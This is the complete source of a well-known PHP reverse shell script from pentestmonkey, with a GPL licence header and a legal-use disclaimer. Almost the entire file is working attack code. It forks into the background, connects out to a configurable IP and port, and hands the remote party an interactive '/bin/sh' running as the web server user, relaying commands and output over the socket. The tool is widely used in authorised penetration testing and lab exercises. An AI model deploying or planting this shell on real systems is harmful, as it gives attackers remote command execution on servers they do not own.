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<?php

// php-reverse-shell - A Reverse Shell implementation in PHP

// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

//

// This tool may be used for legal purposes only. Users take full responsibility

// for any actions performed using this tool. The author accepts no liability

// for damage caused by this tool. If these terms are not acceptable to you, then

// do not use this tool.

//

// In all other respects the GPL version 2 applies:

//

// This program is free software; you can redistribute it and/or modify

// it under the terms of the GNU General Public License version 2 as

// published by the Free Software Foundation.

//

// This program is distributed in the hope that it will be useful,

// but WITHOUT ANY WARRANTY; without even the implied warranty of

// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the

// GNU General Public License for more details.

//

// You should have received a copy of the GNU General Public License along

// with this program; if not, write to the Free Software Foundation, Inc.,

// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

//

// This tool may be used for legal purposes only. Users take full responsibility

// for any actions performed using this tool. If these terms are not acceptable to

// you, then do not use this tool.

//

// You are encouraged to send comments, improvements or suggestions to

// me at pentestmonkey@pentestmonkey.net

//

// Description

// -----------

// This script will make an outbound TCP connection to a hardcoded IP and port.

// The recipient will be given a shell running as the current user (apache normally).

//

// Limitations

// -----------

// proc_open and stream_set_blocking require PHP version 4.3+, or 5+

// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.

// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.

//

// Usage

// -----

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);

$VERSION = "1.0";

$ip = '127.0.0.1'; // CHANGE THIS

$port = 1234; // CHANGE THIS

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; /bin/sh -i';

$daemon = 0;

$debug = 0;

//

// Daemonise ourself if possible to avoid zombies later

//

// pcntl_fork is hardly ever available, but will allow us to daemonise

// our php process and avoid zombies. Worth a try...

if (function_exists('pcntl_fork')) {

// Fork and have the parent process exit

$pid = pcntl_fork();

if ($pid == -1) {

printit("ERROR: Can't fork");

exit(1);

}

if ($pid) {

exit(0); // Parent exits

}

// Make the current process a session leader

// Will only succeed if we forked

if (posix_setsid() == -1) {

printit("Error: Can't setsid()");

exit(1);

}

$daemon = 1;

} else {

printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

}

// Change to a safe directory

chdir("/");

// Remove any umask we inherited

umask(0);

//

// Do the reverse shell...

//

// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

printit("$errstr ($errno)");

exit(1);

}

// Spawn shell process

$descriptorspec = array(

0 => array("pipe", "r"), // stdin is a pipe that the child will read from

1 => array("pipe", "w"), // stdout is a pipe that the child will write to

2 => array("pipe", "w") // stderr is a pipe that the child will write to

);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {

printit("ERROR: Can't spawn shell");

exit(1);

}

// Set everything to non-blocking

// Reason: Occsionally reads will block, even though stream_select tells us they won't

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

// Check for end of TCP connection

if (feof($sock)) {

printit("ERROR: Shell connection terminated");

break;

}

// Check for end of STDOUT

if (feof($pipes[1])) {

printit("ERROR: Shell process terminated");

break;

}

// Wait until a command is end down $sock, or some

// command output is available on STDOUT or STDERR

$read_a = array($sock, $pipes[1], $pipes[2]);

$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

// If we can read from the TCP socket, send

// data to process's STDIN

if (in_array($sock, $read_a)) {

if ($debug) printit("SOCK READ");

$input = fread($sock, $chunk_size);

if ($debug) printit("SOCK: $input");

fwrite($pipes[0], $input);

}

// If we can read from the process's STDOUT

// send data down tcp connection

if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");

$input = fread($pipes[1], $chunk_size);

if ($debug) printit("STDOUT: $input");

fwrite($sock, $input);

}

// If we can read from the process's STDERR

// send data down tcp connection

if (in_array($pipes[2], $read_a)) {

if ($debug) printit("STDERR READ");

$input = fread($pipes[2], $chunk_size);

if ($debug) printit("STDERR: $input");

fwrite($sock, $input);

}

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

// Like print, but does nothing if we've daemonised ourself

// (I can't figure out how to redirect STDOUT like a proper daemon)

function printit ($string) {

if (!$daemon) {

print "$string\n";

}

}

?>